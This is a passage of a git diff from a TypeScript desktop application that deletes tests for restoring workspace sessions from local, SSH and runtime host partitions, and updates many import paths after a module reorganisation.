TerminalTab { - return { - id, - ptyId: `pty-${id}`, - worktreeId, - title: id, - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } -} - -/** A session read whose partitions are exactly what persistence holds, plus its census. */ -function partitionedApi(partitions: Partial>) { - return { - get: async (hostId?: ExecutionHostId) => - partitions[hostId ?? 'local'] ?? getDefaultWorkspaceSession(), - // Normalised rather than asserted, the same way the real census filters its storage keys. - listHostIds: async () => - Object.keys(partitions).flatMap((hostId) => normalizeExecutionHostId(hostId) ?? []) - } -} - -describe('a bare workspace id two partitions both hold', () => { - const REPO_ID = 'repo-duplicated' - const WORKTREE_ID = `${REPO_ID}::/checkout` - - it('keeps a declined row in its own partition when a sibling workspace is written', async () => { - const SIBLING_ID = 'repo-sibling::/checkout' - const partitions = { - local: session({}), - [SSH_HOST_ID]: session({ - tabsByWorktree: { - [WORKTREE_ID]: [tab('tab-declined', WORKTREE_ID)], - [SIBLING_ID]: [tab('tab-sibling', SIBLING_ID)] - } - }), - [OTHER_SSH_HOST_ID]: session({ - tabsByWorktree: { [WORKTREE_ID]: [tab('tab-rival', WORKTREE_ID)] } - }) - } - const read = await fetchWorkspaceSessionWithRuntimeHostOwners(partitionedApi(partitions), [ - { id: 'repo-sibling', connectionId: TARGET_ID, executionHostId: SSH_HOST_ID } - ]) - expect(read.session.tabsByWorktree[WORKTREE_ID]).toBeUndefined() - - const patches: { hostId: ExecutionHostId | undefined; patch: WorkspaceSessionPatch }[] = [] - await patchWorkspaceSessionByHost( - { - get: async () => getDefaultWorkspaceSession(), - patch: async (patch, hostId) => { - patches.push({ hostId, patch }) - } - }, - { tabsByWorktree: read.session.tabsByWorktree }, - { - repos: [{ id: 'repo-sibling', connectionId: TARGET_ID, executionHostId: SSH_HOST_ID }], - worktreesByRepo: {}, - contestedHostWorkspaceSessions: read.contestedHostWorkspaceSessions, - contestedPrimaryHostBySessionKey: read.contestedPrimaryHostBySessionKey - } - ).written - - // Field-wise SSH patches must retain declined siblings; not displaying rows must never delete their sole stored copy. - const sshTabs = patches.find((entry) => entry.hostId === SSH_HOST_ID)?.patch.tabsByWorktree - expect(Object.keys(sshTabs ?? {}).sort()).toEqual([SIBLING_ID, WORKTREE_ID].sort()) - expect(sshTabs?.[WORKTREE_ID]?.map((entry) => entry.id)).toEqual(['tab-declined']) - }) -}) diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-round-trip.test.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-round-trip.test.ts deleted file mode 100644 index 1729d3f0559..00000000000 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-round-trip.test.ts +++ /dev/null @@ -1,245 +0,0 @@ -/** Restore sessions runtime wrote to SSH partitions, formerly unread by renderer local/runtime-only hydration (#12721/#18173). */ -import { describe, expect, it } from 'vitest' - -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' -import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' -import { shouldAutoCreateInitialTerminal } from '@/components/terminal/initial-terminal' -import { fetchWorkspaceSessionWithRuntimeHostOwners } from './workspace-session-host-hydration' -import '../../../../../shared/workspace/identity/workspace-scope' -import '@/store/testing/app-store-test-fixture' -import { makeUnifiedTab } from '@/store/slices/tabs/tab-group.test-fixture' -import { buildWorkspaceSessionHostSnapshots } from './workspace-session-host-persistence' - -const TARGET_ID = 'target-1' -const SSH_HOST_ID: ExecutionHostId = `ssh:${TARGET_ID}` -const REPO_ID = 'repo-remote' -const WORKTREE_PATH = '/remote/checkout/feature' -const WORKTREE_ID = `${REPO_ID}::${WORKTREE_PATH}` - -const repos = [{ id: REPO_ID, connectionId: TARGET_ID, executionHostId: null }] - -function tab(id: string, overrides: Partial = {}): TerminalTab { - return { - id, - ptyId: `pty-${id}`, - worktreeId: WORKTREE_ID, - title: id, - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1, - ...overrides - } -} - -function session(overrides: Partial): WorkspaceSessionState { - return { ...getDefaultWorkspaceSession(), ...overrides } -} - -/** A session read whose partitions are exactly what persistence holds. */ -function partitionedApi( - partitions: Partial> -) { - return { - get: async (hostId?: ExecutionHostId) => - partitions[hostId ?? 'local'] ?? getDefaultWorkspaceSession() - } -} - -describe('ssh host partition adoption on a contested bare id', () => { - /** SSH slices bypass contention splitting because local/SSH usually represents one legacy-split workspace. Same repoId::path across real rival hosts breaks that premise; adoption needs external contest evidence beyond base/host. */ - const RUNTIME_HOST_ID: ExecutionHostId = 'runtime:r1' - const contestedRepos = [ - { id: REPO_ID, connectionId: TARGET_ID, executionHostId: null }, - { id: 'repo-rt', connectionId: null, executionHostId: RUNTIME_HOST_ID } - ] - - function contestedPartitions() { - return { - local: session({ - tabsByWorktree: {}, - openFilesByWorktree: { - [WORKTREE_ID]: [ - { - filePath: '/local/checkout/feature/src/main.ts', - relativePath: 'src/main.ts', - worktreeId: WORKTREE_ID, - language: 'typescript', - dirtyDraftContent: 'local unsaved work' - } - ] - } - }), - [RUNTIME_HOST_ID]: session({ - tabsByWorktree: { [WORKTREE_ID]: [] }, - activeTabTypeByWorktree: { [WORKTREE_ID]: 'terminal' } - }), - [SSH_HOST_ID]: session({ - tabsByWorktree: {}, - openFilesByWorktree: { - [WORKTREE_ID]: [ - { - filePath: '/remote/checkout/feature/src/other.ts', - relativePath: 'src/other.ts', - worktreeId: WORKTREE_ID, - language: 'typescript' - } - ] - } - }) - } - } - - it('still fills a gap on a contested id', async () => { - // Declining to replace is not declining to repair: a row no claimant answered is still adopted. - const partitions = contestedPartitions() - partitions.local = session({ tabsByWorktree: {} }) - const sourceTab = makeUnifiedTab({ - id: 'chat-source', - entityId: 'session-1', - groupId: 'chat-group', - contentType: 'agent-session', - worktreeId: WORKTREE_ID, - executionHostId: 'runtime:chat' - }) - const shadowTab = { ...sourceTab, executionHostId: 'local' as const } - partitions[SSH_HOST_ID] = session({ - ...partitions[SSH_HOST_ID], - unifiedTabs: { [WORKTREE_ID]: [sourceTab] }, - activeFileIdByWorktree: { [WORKTREE_ID]: '/remote/checkout/feature/src/other.ts' } - }) - - const read = await fetchWorkspaceSessionWithRuntimeHostOwners( - partitionedApi({ - ...partitions, - 'runtime:r2': session({ unifiedTabs: { [WORKTREE_ID]: [shadowTab], 'folder:other': [] } }) - }), - contestedRepos, - ['runtime:r1', 'runtime:r2'] - ) - - expect(read.session.activeFileIdByWorktree?.[WORKTREE_ID]).toBe( - '/remote/checkout/feature/src/other.ts' - ) - expect(read.contestedPrimaryHostBySessionKey[WORKTREE_ID]).toBe(RUNTIME_HOST_ID) - expect(read.session.unifiedTabs?.[WORKTREE_ID]?.[0]).toBe(sourceTab) - expect(read.contestedHostWorkspaceSessions['runtime:r2']?.unifiedTabs?.[WORKTREE_ID]?.[0]).toBe( - shadowTab - ) - const saved = buildWorkspaceSessionHostSnapshots(read.session, { - repos: contestedRepos, - worktreesByRepo: {}, - contestedPrimaryHostBySessionKey: read.contestedPrimaryHostBySessionKey, - contestedHostWorkspaceSessions: read.contestedHostWorkspaceSessions - }) - expect( - saved.find((slice) => slice.hostId === RUNTIME_HOST_ID)?.state.unifiedTabs?.[WORKTREE_ID]?.[0] - ).toEqual(sourceTab) - expect( - saved.find((slice) => slice.hostId === 'runtime:r2')?.state.unifiedTabs?.[WORKTREE_ID]?.[0] - ).toEqual(shadowTab) - const reloaded = await fetchWorkspaceSessionWithRuntimeHostOwners( - partitionedApi( - Object.fromEntries(saved.map((slice) => [slice.hostId ?? 'local', slice.state])) - ), - contestedRepos, - ['runtime:r1', 'runtime:r2'] - ) - expect(reloaded.session.unifiedTabs?.[WORKTREE_ID]?.[0]).toEqual(sourceTab) - expect( - reloaded.contestedHostWorkspaceSessions['runtime:r2']?.unifiedTabs?.[WORKTREE_ID]?.[0] - ).toEqual(shadowTab) - }) -}) - -describe('ssh host partition write/read round trip', () => { - /** Exercise shipping write then read together; hand-built read-shaped fixtures previously hid editor-only workspace loss. */ - async function roundTrip(payload: WorkspaceSessionState): Promise { - const { buildWorkspaceSessionHostSnapshots } = - await import('./workspace-session-host-persistence') - const snapshots = buildWorkspaceSessionHostSnapshots(payload, { - repos: [{ id: REPO_ID, connectionId: TARGET_ID, executionHostId: null }], - worktreesByRepo: {} - }) - const partitions: Record = {} - for (const snapshot of snapshots) { - partitions[snapshot.hostId ?? 'local'] = snapshot.state - } - const read = await fetchWorkspaceSessionWithRuntimeHostOwners(partitionedApi(partitions), repos) - return read.session - } - - it('sends an editor-only SSH workspace to its partition and reads it back', async () => { - const restored = await roundTrip( - session({ - tabsByWorktree: {}, - openFilesByWorktree: { - [WORKTREE_ID]: [ - { - filePath: '/remote/checkout/feature/src/app.ts', - relativePath: 'src/app.ts', - worktreeId: WORKTREE_ID, - language: 'typescript', - dirtyDraftContent: 'work in progress' - } - ] - }, - activeTabTypeByWorktree: { [WORKTREE_ID]: 'editor' } - }) - ) - - expect(restored.openFilesByWorktree?.[WORKTREE_ID]?.[0]?.dirtyDraftContent).toBe( - 'work in progress' - ) - expect(restored.activeTabTypeByWorktree?.[WORKTREE_ID]).toBe('editor') - }) -}) - -describe('ssh host partition and the closed-last-terminal tombstone', () => { - /** Terminal code treats explicit empty lists as last-close tombstones and absence as uninitialized; legacy adoption treats base emptiness as repairable. Assert this boundary against shouldAutoCreateInitialTerminal to prevent repeated reseeding despite a correct write. */ - async function roundTripSession(payload: WorkspaceSessionState): Promise<{ - restored: WorkspaceSessionState - partitions: Record - }> { - const { buildWorkspaceSessionHostSnapshots } = - await import('./workspace-session-host-persistence') - const snapshots = buildWorkspaceSessionHostSnapshots(payload, { - repos: [{ id: REPO_ID, connectionId: TARGET_ID, executionHostId: null }], - worktreesByRepo: {} - }) - const partitions: Record = {} - for (const snapshot of snapshots) { - partitions[snapshot.hostId ?? 'local'] = snapshot.state - } - const read = await fetchWorkspaceSessionWithRuntimeHostOwners(partitionedApi(partitions), repos) - return { restored: read.session, partitions } - } - - it('resurrects the legacy-transition shape exactly once and not again', async () => { - // Known gap must be one-shot: boot one repairs local’s empty legacy half; closing on this build moves tombstone solely to SSH, so boot two cannot resurrect tabs. - const firstBoot = await fetchWorkspaceSessionWithRuntimeHostOwners( - partitionedApi({ - local: session({ tabsByWorktree: { [WORKTREE_ID]: [] } }), - [SSH_HOST_ID]: session({ tabsByWorktree: { [WORKTREE_ID]: [tab('tab-stale')] } }) - }), - repos - ) - expect(firstBoot.session.tabsByWorktree[WORKTREE_ID]?.map((entry) => entry.id)).toEqual([ - 'tab-stale' - ]) - - const { restored: secondBoot } = await roundTripSession( - session({ ...firstBoot.session, tabsByWorktree: { [WORKTREE_ID]: [] } }) - ) - - expect(secondBoot.tabsByWorktree[WORKTREE_ID]).toEqual([]) - expect( - shouldAutoCreateInitialTerminal( - secondBoot.tabsByWorktree[WORKTREE_ID]?.length ?? 0, - Object.hasOwn(secondBoot.tabsByWorktree, WORKTREE_ID) - ) - ).toBe(false) - }) -}) diff --git a/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts index a8c18ae4d25..5db4e507e27 100644 --- a/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts +++ b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-host-split.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isUnprovenServerSshRoute } from '../ownership/resolve-owner' import { resolveOwnerOrLocal } from '../ownership/worktree-runtime-owner' import type { WorktreeRuntimeOwnerState } from '../ownership/worktree-runtime-owner-state' diff --git a/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts index 76a3b94386b..b36d51cc72d 100644 --- a/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts +++ b/src/renderer/src/lib/workspace/persistence/worktree-sort-order-persistence.ts @@ -1,5 +1,5 @@ import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorktreeRuntimeOwnerState } from '../ownership/worktree-runtime-owner-state' import { splitWorktreeSortOrderByHost } from './worktree-sort-order-host-split' diff --git a/src/renderer/src/lib/workspace/persistence/wsl-move-renderer-store-keys.ts b/src/renderer/src/lib/workspace/persistence/wsl-move-renderer-store-keys.ts index 78fade26822..4fa123fa6b6 100644 --- a/src/renderer/src/lib/workspace/persistence/wsl-move-renderer-store-keys.ts +++ b/src/renderer/src/lib/workspace/persistence/wsl-move-renderer-store-keys.ts @@ -2,7 +2,7 @@ * The WSL host's key for a renderer-stored entry of a moved local workspace, or null when the entry * is not one: another host's, another distro's, or a project the move did not take. */ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { normalizeRuntimePathForComparison } from '../../../../../shared/file-access/cross-platform-path' import type { PythonEnvironment } from '../../../../../shared/editor/notebooks/notebook-kernel-types' import type { WslMoveRendererRewriteScope } from '../../../../../shared/wsl-move/wsl-move-renderer-rewrite-scope' diff --git a/src/renderer/src/lib/workspace/search/palette-repo-resolution.ts b/src/renderer/src/lib/workspace/search/palette-repo-resolution.ts index 02589fdd2b4..70905e6b63d 100644 --- a/src/renderer/src/lib/workspace/search/palette-repo-resolution.ts +++ b/src/renderer/src/lib/workspace/search/palette-repo-resolution.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getRepoHostIdentityForParts } from '../../../../../shared/repository/repo-host-identity' import { composeWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity' import type { Worktree } from '../../../../../shared/worktree/types' diff --git a/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts b/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts index 92e50bef444..be1499182da 100644 --- a/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts +++ b/src/renderer/src/lib/workspace/search/palette/order-empty-query-worktrees.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../../shared/worktree/types' import { isPaletteCurrentWorktree } from '../palette-repo-resolution' import { compareWorktreeDisplayName } from '../../display/worktree-display-name-order' diff --git a/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts b/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts index f81e313e9a9..2d3c1692db6 100644 --- a/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts +++ b/src/renderer/src/lib/workspace/search/palette/recent-workspace-tab-rows.ts @@ -12,7 +12,7 @@ import { } from '../../../../../../shared/agent-status/contracts/agent-status-freshness' import type { WorktreeStatus } from '../../../../../../shared/worktree/row-display/worktree-status-rollup' import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** Row model for Cmd+J's empty-query recent tabs section. */ export type RecentWorkspaceTabRow = { diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-agent-metadata.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-agent-metadata.ts index 63285725ee6..b8854a5e473 100644 --- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-agent-metadata.ts +++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-agent-metadata.ts @@ -6,7 +6,7 @@ import type { Worktree } from '../../../../../../shared/worktree/types' import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isExecutionHostAliasForWorktree } from '../../ownership/worktree-execution-host-alias' export type AgentMetadata = { diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts index 69a2170b724..3e7adaa52cc 100644 --- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts +++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-activation.ts @@ -4,7 +4,7 @@ import { activateWebRuntimeSessionTab } from '@/runtime/web-session-tabs-sync/ac import { isWebRuntimeSessionActive } from '@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment' import { useAppStore } from '@/store/index' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { activateAndRevealWorkspace } from '../../activation/worktree-activation' import { activateStructuredAgentSessionTab } from '../../../agent-session/structured-agent-session-tab-activation' import { clearClientHostedBrowserRowSelection } from '../../../../runtime/browser/client-hosting/client-hosted-browser-row-state' diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts index b7f6d0c010f..c1a7046c484 100644 --- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts +++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-palette-results.ts @@ -12,7 +12,7 @@ import { } from '../../display/worktree-default-display-name' import { matchWorkspaceTabAgentSnippet } from './workspace-tab-agent-snippet-match' import { maxAgentActivityAt } from './workspace-tab-agent-metadata' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { MatchRange } from '../../../../../../shared/palette-match/normalized-text' import type { PaletteDocumentRank } from '../../../../../../shared/palette-match/palette-document' import type { PaletteResultQualityClass } from '../../../../../../shared/palette-match/match-quality' diff --git a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-search-types.ts b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-search-types.ts index eafdc31e2c3..88d9abf906e 100644 --- a/src/renderer/src/lib/workspace/search/tabs/workspace-tab-search-types.ts +++ b/src/renderer/src/lib/workspace/search/tabs/workspace-tab-search-types.ts @@ -13,7 +13,7 @@ import type { } from '../../../../../../shared/workspace-layout/terminal-tab-types' import type { TerminalAgent } from '../../../../../../shared/agent-status/identity/terminal-agent' import type { Worktree } from '../../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { AgentMetadata, WorkspaceTabAgentMetadataState } from './workspace-tab-agent-metadata' import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name' import './workspace-tab-palette-entry-builder' diff --git a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts b/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts index dcb1b10f2b3..750c4b54166 100644 --- a/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts +++ b/src/renderer/src/lib/workspace/search/worktrees/worktree-palette-document.ts @@ -1,7 +1,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { issueCacheKey as getIssueCacheKey } from '@/store/github/cache/cache-identity' import { getWorktreeGitHubIssueRepository } from '../../../../../../shared/worktree/github-issue-repository' import { diff --git a/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts b/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts index b7edb04323c..99ccf1b736d 100644 --- a/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts +++ b/src/renderer/src/lib/workspace/tabs/workspace-tab-commands.ts @@ -29,7 +29,7 @@ import { closeWorkspaceBrowserTab } from '../../browser/workspace/workspace-brow import { resolveBrowserWorkspaceOwner } from '../../browser/workspace/browser-workspace-source-resolution' import { getActiveTabNavOrder } from '@/components/tab-bar/group-tab-order' import { reorderTabInGroup } from '@/components/tab-group/tab-group-layout-owner-commands' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' export type WorkspaceTabTarget = | { kind: 'tab'; worktreeId: string; tabId: string } diff --git a/src/renderer/src/popout.tsx b/src/renderer/src/popout.tsx index 6266f7bdbc7..05ef3a44026 100644 --- a/src/renderer/src/popout.tsx +++ b/src/renderer/src/popout.tsx @@ -14,7 +14,7 @@ import { applyCodeFontSmoothing } from './lib/editor/appearance/code-font-smooth import { I18nProvider } from './i18n/I18nProvider' import { useTranslate } from './i18n/use-translate' import { useAppStore } from './store/index' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { getOrCreateRendererRoot } from './app-shell/startup/react-renderer-root' import { setReactCommitCascadeRendererSurface } from './diagnostics/react-commits/react-commit-cascade-telemetry' import { installOsFileDropCancellationGuard } from './lib/files/drop/os-file-drop-cancellation-guard' diff --git a/src/renderer/src/runtime/agent-launch-settings/host-agent-launch-preferences-resource.ts b/src/renderer/src/runtime/agent-launch-settings/host-agent-launch-preferences-resource.ts index 9d48ff46b7c..e58f172c1fc 100644 --- a/src/renderer/src/runtime/agent-launch-settings/host-agent-launch-preferences-resource.ts +++ b/src/renderer/src/runtime/agent-launch-settings/host-agent-launch-preferences-resource.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { isRuntimeHostContactRevoked, lastVerifiedRuntimeStatus diff --git a/src/renderer/src/runtime/agent-launch-settings/use-host-agent-launch-preferences.ts b/src/renderer/src/runtime/agent-launch-settings/use-host-agent-launch-preferences.ts index 3a385d39b6d..38abc64c855 100644 --- a/src/renderer/src/runtime/agent-launch-settings/use-host-agent-launch-preferences.ts +++ b/src/renderer/src/runtime/agent-launch-settings/use-host-agent-launch-preferences.ts @@ -1,8 +1,8 @@ import { useAppViewExternalStore } from '@/store/retained-views/app-state-view' import { useCallback, useMemo } from 'react' import { useShallow } from 'zustand/react/shallow' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../shared/remote-runtime/host-status/runtime-host-status' import type { AppState } from '@/store/types' import { diff --git a/src/renderer/src/runtime/agent-orchestration/visible-agent-orchestration.ts b/src/renderer/src/runtime/agent-orchestration/visible-agent-orchestration.ts index 7b7df96209e..0cc9930b481 100644 --- a/src/renderer/src/runtime/agent-orchestration/visible-agent-orchestration.ts +++ b/src/renderer/src/runtime/agent-orchestration/visible-agent-orchestration.ts @@ -4,7 +4,7 @@ import { getStructuredAgentSessionTabs } from '@/components/native-chat/session/ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { isRemoteRuntimePtyId, parseRemoteRuntimePtyId diff --git a/src/renderer/src/runtime/browser/creation/testing/web-runtime-browser-creation-placement-test-rig.ts b/src/renderer/src/runtime/browser/creation/testing/web-runtime-browser-creation-placement-test-rig.ts index 4fb055b5e19..1cc94b3bb94 100644 --- a/src/renderer/src/runtime/browser/creation/testing/web-runtime-browser-creation-placement-test-rig.ts +++ b/src/renderer/src/runtime/browser/creation/testing/web-runtime-browser-creation-placement-test-rig.ts @@ -5,7 +5,7 @@ import type { } from '../../../../../../shared/browser/workspaces/browser-workspace-types' import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { Tab, TabGroup } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useAppStore } from '../../../../store/index' import { markHydratedBrowserPageHandles } from '../../../../store/slices/browser/hosts/browser-initialization-presentation-ownership' import type { AppState } from '../../../../store/types' diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts index 3cbc5b95a48..735c46f5b39 100644 --- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts +++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts @@ -1,5 +1,5 @@ import { useAppStore } from '../../../store/index' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/workspace-layout/layout-owner-switch' import { forgetDesktopCreatedServerTab, diff --git a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-failed-create-cleanup.ts b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-failed-create-cleanup.ts index 9e6ef721a71..78e2b70200f 100644 --- a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-failed-create-cleanup.ts +++ b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-failed-create-cleanup.ts @@ -1,5 +1,5 @@ import type { WorktreeCreationRequest } from '@/lib/workspace/creation/pending-worktree-creation' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' type FailedCreateCleanupActions = { deleteProjectHostSetup: (setupId: string, hostId: ExecutionHostId) => Promise diff --git a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-runtime-cleanup.ts b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-runtime-cleanup.ts index 67137546265..1fda9d8bd98 100644 --- a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-runtime-cleanup.ts +++ b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-runtime-cleanup.ts @@ -3,7 +3,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity' import { refreshRuntimeEnvironmentCatalog } from '@/runtime/rpc/environment-revisions/runtime-environment-pairing-refresh' diff --git a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts index c61488fff4b..0dc6ca230a6 100644 --- a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts +++ b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts @@ -2,7 +2,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { ProjectHostSetupExistingFolderArgs, ProjectHostSetupResult diff --git a/src/renderer/src/runtime/ephemeral-vm/recipe-vm-managed-host.ts b/src/renderer/src/runtime/ephemeral-vm/recipe-vm-managed-host.ts index 73e60ce03b4..d7a12aa4d84 100644 --- a/src/renderer/src/runtime/ephemeral-vm/recipe-vm-managed-host.ts +++ b/src/renderer/src/runtime/ephemeral-vm/recipe-vm-managed-host.ts @@ -1,4 +1,7 @@ -import { isRuntimeOwnedSshTargetId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + isRuntimeOwnedSshTargetId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { getManagedOrcadSshTargetId, type ManagedOrcadEnvironmentSummary diff --git a/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts index 5c01b3377da..8e2bba373c8 100644 --- a/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts +++ b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { basename } from '@/lib/path' import { RuntimeRpcCallError } from '../../rpc/calls/runtime-rpc-result' import type { RuntimeFileDownloadResult, RuntimeFileReadArgs } from '../runtime-file-client-types' diff --git a/src/renderer/src/runtime/hosted-terminals/creation/testing/web-runtime-terminal-create.test-fixture.ts b/src/renderer/src/runtime/hosted-terminals/creation/testing/web-runtime-terminal-create.test-fixture.ts index 8fcae819db2..85e3c707b42 100644 --- a/src/renderer/src/runtime/hosted-terminals/creation/testing/web-runtime-terminal-create.test-fixture.ts +++ b/src/renderer/src/runtime/hosted-terminals/creation/testing/web-runtime-terminal-create.test-fixture.ts @@ -1,6 +1,6 @@ import { vi } from 'vitest' import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../rpc/compatibility/runtime-compatibility-cache' import { resetWebSessionBrowserPlacementsForTests } from '../../../browser/placement/web-session-browser-placement' import { resetWebSessionFocusIntentForTests } from 